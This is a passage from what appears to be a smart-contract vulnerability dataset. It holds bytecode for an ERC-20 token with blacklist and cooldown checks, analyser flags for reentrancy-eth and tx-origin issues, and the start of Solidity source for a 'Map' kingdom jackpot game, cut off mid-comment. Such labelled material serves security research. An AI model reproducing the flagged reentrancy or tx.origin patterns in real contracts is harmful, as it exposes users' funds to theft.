ffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161165b91906136e8565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156116d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116cf90613688565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611748576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161173f90613528565b60405180910390fd5b6000811161178b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161178290613668565b60405180910390fd5b600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561182f5750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611c8757600d60149054906101000a900460ff16611883576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161187a906135c8565b60405180910390fd5b600e548111156118c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118bf90613548565b60405180910390fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561196c5750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6119ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119a2906135a8565b60405180910390fd5b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611baa57600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611a695750600d60179054906101000a900460ff165b15611b52574260b4600260003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611abb919061381e565b108015611b1257504260b4600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b10919061381e565b105b611b51576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b4890613608565b60405180910390fd5b5b600f5481611b5f84610e08565b611b69919061381e565b10611ba9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ba0906136a8565b60405180910390fd5b5b6000611bb530610e08565b9050600060105482101590506010548210611bd05760105491505b808015611bea5750600d60159054906101000a900460ff16155b8015611c445750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611c5c5750600d60169054906101000a900460ff165b15611c8457611c6a826122f9565b60004790506000811115611c8257611c814761260c565b5b505b50505b600060019050600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611d2e5750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611de15750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611de05750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b15611def5760009050611f64565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611e9a5750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611ea9576006546008819055505b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611f545750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611f63576007546008819055505b5b42600260003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555042600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611ff884848484612678565b50505050565b6000838311158290612046576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161203d9190613506565b60405180910390fd5b506000838561205591906138ff565b9050809150509392505050565b60006120ed826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ffe9092919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061218282600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126a090919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161222291906136e8565b60405180910390a3600190509392505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6001600d60156101000a81548160ff021916908315150217905550600061233d606461232f6055856126fe90919063ffffffff16565b61277990919063ffffffff16565b90506000818361234d91906138ff565b905060004790506000600267ffffffffffffffff81111561237157612370613b0a565b5b60405190808252806020026020018201604052801561239f5781602001602082028036833780820191505090505b50905030816000815181106123b7576123b6613adb565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561245957600080fd5b505afa15801561246d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906124919190612e5b565b816001815181106124a5576124a4613adb565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061250c30600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168761149d565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478560008430426040518663ffffffff1660e01b8152600401612570959493929190613703565b600060405180830381600087803b15801561258a57600080fd5b505af115801561259e573d6000803e3d6000fd5b5050505060006125b783476127c390919063ffffffff16565b90506125e9846125e460646125d6600f866126fe90919063ffffffff16565b61277990919063ffffffff16565b61280d565b50505050506000600d60156101000a81548160ff02191690831515021790555050565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612674573d6000803e3d6000fd5b5050565b8061268e57612688848484612062565b5061269a565b6126998484846128fb565b5b50505050565b60008082846126af919061381e565b9050838110156126f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126eb906135e8565b60405180910390fd5b8091505092915050565b6000808314156127115760009050612773565b6000828461271f91906138a5565b905082848261272e9190613874565b1461276e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161276590613628565b60405180910390fd5b809150505b92915050565b60006127bb83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612ad5565b905092915050565b600061280583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611ffe565b905092915050565b61283a30600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461149d565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7198230856000806000426040518863ffffffff1660e01b81526004016128a29695949392919061346f565b6060604051808303818588803b1580156128bb57600080fd5b505af11580156128cf573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906128f491906130ff565b5050505050565b60006129078483612b38565b9050612992826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ffe9092919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612a2781600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126a090919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051612ac791906136e8565b60405180910390a350505050565b60008083118290612b1c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b139190613506565b60405180910390fd5b5060008385612b2b9190613874565b9050809150509392505050565b600080612b636064612b55600854866126fe90919063ffffffff16565b61277990919063ffffffff16565b9050612bb781600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126a090919063ffffffff16565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051612c5791906136e8565b60405180910390a3612c7281846127c390919063ffffffff16565b91505092915050565b6000612c8e612c898461379d565b613778565b90508083825260208201905082856020860282011115612cb157612cb0613b43565b5b60005b85811015612ce15781612cc78882612ceb565b845260208401935060208301925050600181019050612cb4565b5050509392505050565b600081359050612cfa81613f1d565b92915050565b600081519050612d0f81613f1d565b92915050565b60008083601f840112612d2b57612d2a613b3e565b5b8235905067ffffffffffffffff811115612d4857612d47613b39565b5b602083019150836020820283011115612d6457612d63613b43565b5b9250929050565b600082601f830112612d8057612d7f613b3e565b5b8135612d90848260208601612c7b565b91505092915050565b60008083601f840112612daf57612dae613b3e565b5b8235905067ffffffffffffffff811115612dcc57612dcb613b39565b5b602083019150836020820283011115612de857612de7613b43565b5b9250929050565b600081359050612dfe81613f34565b92915050565b600081359050612e1381613f4b565b92915050565b600081519050612e2881613f4b565b92915050565b600060208284031215612e4457612e43613b4d565b5b6000612e5284828501612ceb565b91505092915050565b600060208284031215612e7157612e70613b4d565b5b6000612e7f84828501612d00565b91505092915050565b60008060408385031215612e9f57612e9e613b4d565b5b6000612ead85828601612ceb565b9250506020612ebe85828601612ceb565b9150509250929050565b600080600060608486031215612ee157612ee0613b4d565b5b6000612eef86828701612ceb565b9350506020612f0086828701612ceb565b9250506040612f1186828701612e04565b9150509250925092565b60008060408385031215612f3257612f31613b4d565b5b6000612f4085828601612ceb565b9250506020612f5185828601612def565b9150509250929050565b60008060408385031215612f7257612f71613b4d565b5b6000612f8085828601612ceb565b9250506020612f9185828601612e04565b9150509250929050565b60008060008060408587031215612fb557612fb4613b4d565b5b600085013567ffffffffffffffff811115612fd357612fd2613b48565b5b612fdf87828801612d15565b9450945050602085013567ffffffffffffffff81111561300257613001613b48565b5b61300e87828801612d99565b925092505092959194509250565b60006020828403121561303257613031613b4d565b5b600082013567ffffffffffffffff8111156130505761304f613b48565b5b61305c84828501612d6b565b91505092915050565b60006020828403121561307b5761307a613b4d565b5b600061308984828501612def565b91505092915050565b6000602082840312156130a8576130a7613b4d565b5b60006130b684828501612e04565b91505092915050565b600080604083850312156130d6576130d5613b4d565b5b60006130e485828601612e04565b92505060206130f585828601612e04565b9150509250929050565b60008060006060848603121561311857613117613b4d565b5b600061312686828701612e19565b935050602061313786828701612e19565b925050604061314886828701612e19565b9150509250925092565b600061315e838361316a565b60208301905092915050565b61317381613933565b82525050565b61318281613933565b82525050565b6000613193826137d9565b61319d81856137fc565b93506131a8836137c9565b8060005b838110156131d95781516131c08882613152565b97506131cb836137ef565b9250506001810190506131ac565b5085935050505092915050565b6131ef81613945565b82525050565b6131fe81613988565b82525050565b61320d8161399a565b82525050565b600061321e826137e4565b613228818561380d565b93506132388185602086016139d0565b61324181613b52565b840191505092915050565b600061325960238361380d565b915061326482613b63565b604082019050919050565b600061327c601c8361380d565b915061328782613bb2565b602082019050919050565b600061329f60268361380d565b91506132aa82613bdb565b604082019050919050565b60006132c260228361380d565b91506132cd82613c2a565b604082019050919050565b60006132e560238361380d565b91506132f082613c79565b604082019050919050565b6000613308601e8361380d565b915061331382613cc8565b602082019050919050565b600061332b601b8361380d565b915061333682613cf1565b602082019050919050565b600061334e60268361380d565b915061335982613d1a565b604082019050919050565b600061337160218361380d565b915061337c82613d69565b604082019050919050565b600061339460208361380d565b915061339f82613db8565b602082019050919050565b60006133b760298361380d565b91506133c282613de1565b604082019050919050565b60006133da60258361380d565b91506133e582613e30565b604082019050919050565b60006133fd60238361380d565b915061340882613e7f565b604082019050919050565b600061342060248361380d565b915061342b82613ece565b604082019050919050565b61343f81613971565b82525050565b61344e8161397b565b82525050565b60006020820190506134696000830184613179565b92915050565b600060c0820190506134846000830189613179565b6134916020830188613436565b61349e6040830187613204565b6134ab6060830186613204565b6134b86080830185613179565b6134c560a0830184613436565b979650505050505050565b60006020820190506134e560008301846131e6565b92915050565b600060208201905061350060008301846131f5565b92915050565b600060208201905081810360008301526135208184613213565b905092915050565b600060208201905081810360008301526135418161324c565b9050919050565b600060208201905081810360008301526135618161326f565b9050919050565b6000602082019050818103600083015261358181613292565b9050919050565b600060208201905081810360008301526135a1816132b5565b9050919050565b600060208201905081810360008301526135c1816132d8565b9050919050565b600060208201905081810360008301526135e1816132fb565b9050919050565b600060208201905081810360008301526136018161331e565b9050919050565b6000602082019050818103600083015261362181613341565b9050919050565b6000602082019050818103600083015261364181613364565b9050919050565b6000602082019050818103600083015261366181613387565b9050919050565b60006020820190508181036000830152613681816133aa565b9050919050565b600060208201905081810360008301526136a1816133cd565b9050919050565b600060208201905081810360008301526136c1816133f0565b9050919050565b600060208201905081810360008301526136e181613413565b9050919050565b60006020820190506136fd6000830184613436565b92915050565b600060a0820190506137186000830188613436565b6137256020830187613204565b81810360408301526137378186613188565b90506137466060830185613179565b6137536080830184613436565b9695505050505050565b60006020820190506137726000830184613445565b92915050565b6000613782613793565b905061378e8282613a03565b919050565b6000604051905090565b600067ffffffffffffffff8211156137b8576137b7613b0a565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061382982613971565b915061383483613971565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561386957613868613a7d565b5b828201905092915050565b600061387f82613971565b915061388a83613971565b92508261389a57613899613aac565b5b828204905092915050565b60006138b082613971565b91506138bb83613971565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156138f4576138f3613a7d565b5b828202905092915050565b600061390a82613971565b915061391583613971565b92508282101561392857613927613a7d565b5b828203905092915050565b600061393e82613951565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000613993826139ac565b9050919050565b60006139a582613971565b9050919050565b60006139b7826139be565b9050919050565b60006139c982613951565b9050919050565b60005b838110156139ee5780820151818401526020810190506139d3565b838111156139fd576000848401525b50505050565b613a0c82613b52565b810181811067ffffffffffffffff82111715613a2b57613a2a613b0a565b5b80604052505050565b6000613a3f82613971565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415613a7257613a71613a7d565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2054726164696e67206e6f742079657420737461727465640000600082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f544f4b454e3a2033206d696e7574657320636f6f6c646f776e2062657477656560008201527f6e20627579730000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b613f2681613933565b8114613f3157600080fd5b50565b613f3d81613945565b8114613f4857600080fd5b50565b613f5481613971565b8114613f5f57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212201a31a363531274997d86dc6591fbb85d34f6295b965b3a87727c6c9eab2f797c64736f6c63430008070033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tx-origin", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | 1,494 |
0x2d04a81798ec74de48e09e3fd43ca41757d33e6a | pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) { return 0; }
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract PullPayment {
using SafeMath for uint256;
mapping(address => uint256) public payments;
uint256 public totalPayments;
function withdrawPayments() public {
address payee = msg.sender;
uint256 payment = payments[payee];
require(payment != 0);
require(this.balance >= payment);
totalPayments = totalPayments.sub(payment);
payments[payee] = 0;
assert(payee.send(payment));
}
function asyncSend(address dest, uint256 amount) internal {
payments[dest] = payments[dest].add(amount);
totalPayments = totalPayments.add(amount);
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Destructible is Ownable {
function Destructible() public payable { }
function destroy() onlyOwner public {
selfdestruct(owner);
}
function destroyAndSend(address _recipient) onlyOwner public {
selfdestruct(_recipient);
}
}
contract ReentrancyGuard {
bool private reentrancy_lock = false;
modifier nonReentrant() {
require(!reentrancy_lock);
reentrancy_lock = true;
_;
reentrancy_lock = false;
}
}
contract Map is PullPayment, Destructible, ReentrancyGuard {
using SafeMath for uint256;
// STRUCTS
struct Transaction {
string kingdomKey;
address compensationAddress;
uint buyingPrice;
uint compensation;
uint jackpotContribution;
}
struct Kingdom {
string title;
string key;
uint kingdomTier;
uint kingdomType;
uint minimumPrice;
uint lastTransaction;
uint transactionCount;
uint returnPrice;
address owner;
bool locked;
}
struct Jackpot {
address winner;
uint balance;
}
struct Round {
Jackpot globalJackpot;
Jackpot jackpot1;
Jackpot jackpot2;
Jackpot jackpot3;
Jackpot jackpot4;
Jackpot jackpot5;
mapping(string => bool) kingdomsCreated;
mapping(address => uint) nbKingdoms;
mapping(address => uint) nbTransactions;
mapping(address => uint) nbKingdomsType1;
mapping(address => uint) nbKingdomsType2;
mapping(address => uint) nbKingdomsType3;
mapping(address => uint) nbKingdomsType4;
mapping(address => uint) nbKingdomsType5;
uint startTime;
uint endTime;
mapping(string => uint) kingdomsKeys;
}
Kingdom[] public kingdoms;
Transaction[] public kingdomTransactions;
uint public currentRound;
address public bookerAddress;
mapping(uint => Round) rounds;
uint constant public ACTION_TAX = 0.02 ether;
uint constant public STARTING_CLAIM_PRICE_WEI = 0.05 ether;
uint constant MAXIMUM_CLAIM_PRICE_WEI = 800 ether;
uint constant KINGDOM_MULTIPLIER = 20;
uint constant TEAM_COMMISSION_RATIO = 10;
uint constant JACKPOT_COMMISSION_RATIO = 10;
// MODIFIERS
modifier onlyForRemainingKingdoms() {
uint remainingKingdoms = getRemainingKingdoms();
require(remainingKingdoms > kingdoms.length);
_;
}
modifier checkKingdomExistence(string key) {
require(rounds[currentRound].kingdomsCreated[key] == true);
_;
}
modifier checkIsNotLocked(string kingdomKey) {
require(kingdoms[rounds[currentRound].kingdomsKeys[kingdomKey]].locked != true);
_;
}
modifier checkIsClosed() {
require(now >= rounds[currentRound].endTime);
_;
}
modifier onlyKingdomOwner(string _key, address _sender) {
require (kingdoms[rounds[currentRound].kingdomsKeys[_key]].owner == _sender);
_;
}
// EVENTS
event LandCreatedEvent(string kingdomKey, address monarchAddress);
event LandPurchasedEvent(string kingdomKey, address monarchAddress);
//
// CONTRACT CONSTRUCTOR
//
function Map(address _bookerAddress, uint _startTime) {
bookerAddress = _bookerAddress;
currentRound = 1;
rounds[currentRound] = Round(Jackpot(address(0), 0), Jackpot(address(0), 0), Jackpot(address(0), 0), Jackpot(address(0), 0), Jackpot(address(0), 0), Jackpot(address(0), 0), 0, 0);
rounds[currentRound].jackpot1 = Jackpot(address(0), 0);
rounds[currentRound].jackpot2 = Jackpot(address(0), 0);
rounds[currentRound].jackpot3 = Jackpot(address(0), 0);
rounds[currentRound].jackpot4 = Jackpot(address(0), 0);
rounds[currentRound].jackpot5 = Jackpot(address(0), 0);
rounds[currentRound].startTime = _startTime;
rounds[currentRound].endTime = _startTime + 7 days;
rounds[currentRound].globalJackpot = Jackpot(address(0), 0);
}
function () { }
function getRemainingKingdoms() public view returns (uint nb) {
for (uint i = 1; i < 8; i++) {
if (now < rounds[currentRound].startTime + (i * 1 days)) {
uint result = (10 * i);
if (result > 70) {
return 70;
} else {
return result;
}
}
}
}
function setTypedJackpotWinner(address _user, uint _type) internal {
if (_type == 1) {
if (rounds[currentRound].jackpot1.winner == address(0)) {
rounds[currentRound].jackpot1.winner = _user;
} else if (rounds[currentRound].nbKingdomsType1[_user] >= rounds[currentRound].nbKingdomsType1[rounds[currentRound].jackpot1.winner]) {
rounds[currentRound].jackpot1.winner = _user;
}
} else if (_type == 2) {
if (rounds[currentRound].jackpot2.winner == address(0)) {
rounds[currentRound].jackpot2.winner = _user;
} else if (rounds[currentRound].nbKingdomsType2[_user] >= rounds[currentRound].nbKingdomsType2[rounds[currentRound].jackpot2.winner]) {
rounds[currentRound].jackpot2.winner = _user;
}
} else if (_type == 3) {
if (rounds[currentRound].jackpot3.winner == address(0)) {
rounds[currentRound].jackpot3.winner = _user;
} else if (rounds[currentRound].nbKingdomsType3[_user] >= rounds[currentRound].nbKingdomsType3[rounds[currentRound].jackpot3.winner]) {
rounds[currentRound].jackpot3.winner = _user;
}
} else if (_type == 4) {
if (rounds[currentRound].jackpot4.winner == address(0)) {
rounds[currentRound].jackpot4.winner = _user;
} else if (rounds[currentRound].nbKingdomsType4[_user] >= rounds[currentRound].nbKingdomsType4[rounds[currentRound].jackpot4.winner]) {
rounds[currentRound].jackpot4.winner = _user;
}
} else if (_type == 5) {
if (rounds[currentRound].jackpot5.winner == address(0)) {
rounds[currentRound].jackpot5.winner = _user;
} else if (rounds[currentRound].nbKingdomsType5[_user] >= rounds[currentRound].nbKingdomsType5[rounds[currentRound].jackpot5.winner]) {
rounds[currentRound].jackpot5.winner = _user;
}
}
}
//
// This is the main function. It is called to buy a kingdom
//
function purchaseKingdom(string _key, string _title, bool _locked) public
payable
nonReentrant()
checkKingdomExistence(_key)
checkIsNotLocked(_key)
{
require(now < rounds[currentRound].endTime);
Round storage round = rounds[currentRound];
uint kingdomId = round.kingdomsKeys[_key];
Kingdom storage kingdom = kingdoms[kingdomId];
require((kingdom.kingdomTier + 1) < 6);
uint requiredPrice = kingdom.minimumPrice;
if (_locked == true) {
requiredPrice = requiredPrice.add(ACTION_TAX);
}
require (msg.value >= requiredPrice);
uint jackpotCommission = (msg.value).sub(kingdom.returnPrice);
if (kingdom.returnPrice > 0) {
round.nbKingdoms[kingdom.owner]--;
if (kingdom.kingdomType == 1) {
round.nbKingdomsType1[kingdom.owner]--;
} else if (kingdom.kingdomType == 2) {
round.nbKingdomsType2[kingdom.owner]--;
} else if (kingdom.kingdomType == 3) {
round.nbKingdomsType3[kingdom.owner]--;
} else if (kingdom.kingdomType == 4) {
round.nbKingdomsType4[kingdom.owner]--;
} else if (kingdom.kingdomType == 5) {
round.nbKingdomsType5[kingdom.owner]--;
}
compensateLatestMonarch(kingdom.lastTransaction, kingdom.returnPrice);
}
uint jackpotSplitted = jackpotCommission.mul(50).div(100);
round.globalJackpot.balance = round.globalJackpot.balance.add(jackpotSplitted);
kingdom.kingdomTier++;
kingdom.title = _title;
if (kingdom.kingdomTier == 5) {
kingdom.returnPrice = 0;
} else {
kingdom.returnPrice = kingdom.minimumPrice.mul(2);
kingdom.minimumPrice = kingdom.minimumPrice.add(kingdom.minimumPrice.mul(2));
}
kingdom.owner = msg.sender;
kingdom.locked = _locked;
uint transactionId = kingdomTransactions.push(Transaction("", msg.sender, msg.value, 0, jackpotSplitted)) - 1;
kingdomTransactions[transactionId].kingdomKey = _key;
kingdom.transactionCount++;
kingdom.lastTransaction = transactionId;
setNewJackpot(kingdom.kingdomType, jackpotSplitted, msg.sender);
LandPurchasedEvent(_key, msg.sender);
}
function setNewJackpot(uint kingdomType, uint jackpotSplitted, address sender) internal {
rounds[currentRound].nbTransactions[sender]++;
rounds[currentRound].nbKingdoms[sender]++;
if (kingdomType == 1) {
rounds[currentRound].nbKingdomsType1[sender]++;
rounds[currentRound].jackpot1.balance = rounds[currentRound].jackpot1.balance.add(jackpotSplitted);
} else if (kingdomType == 2) {
rounds[currentRound].nbKingdomsType2[sender]++;
rounds[currentRound].jackpot2.balance = rounds[currentRound].jackpot2.balance.add(jackpotSplitted);
} else if (kingdomType == 3) {
rounds[currentRound].nbKingdomsType3[sender]++;
rounds[currentRound].jackpot3.balance = rounds[currentRound].jackpot3.balance.add(jackpotSplitted);
} else if (kingdomType == 4) {
rounds[currentRound].nbKingdomsType4[sender]++;
rounds[currentRound].jackpot4.balance = rounds[currentRound].jackpot4.balance.add(jackpotSplitted);
} else if (kingdomType == 5) {
rounds[currentRound].nbKingdomsType5[sender]++;
rounds[currentRound].jackpot5.balance = rounds[currentRound].jackpot5.balance.add(jackpotSplitted);
}
setNewWinner(msg.sender, kingdomType);
}
function setLock(string _key, bool _locked) public payable checkKingdomExistence(_key) onlyKingdomOwner(_key, msg.sender) {
if (_locked == true) { require(msg.value >= ACTION_TAX); }
kingdoms[rounds[currentRound].kingdomsKeys[_key]].locked = _locked;
if (msg.value > 0) { asyncSend(bookerAddress, msg.value); }
}
// function setNbKingdomsType(uint kingdomType, address sender, bool increment) internal {
// if (kingdomType == 1) {
// if (increment == true) {
// rounds[currentRound].nbKingdomsType1[sender]++;
// } else {
// rounds[currentRound].nbKingdomsType1[sender]--;
// }
// } else if (kingdomType == 2) {
// if (increment == true) {
// rounds[currentRound].nbKingdomsType2[sender]++;
// } else {
// rounds[currentRound].nbKingdomsType2[sender]--;
// }
// } else if (kingdomType == 3) {
// if (increment == true) {
// rounds[currentRound].nbKingdomsType3[sender]++;
// } else {
// rounds[currentRound].nbKingdomsType3[sender]--;
// }
// } else if (kingdomType == 4) {
// if (increment == true) {
// rounds[currentRound].nbKingdomsType4[sender]++;
// } else {
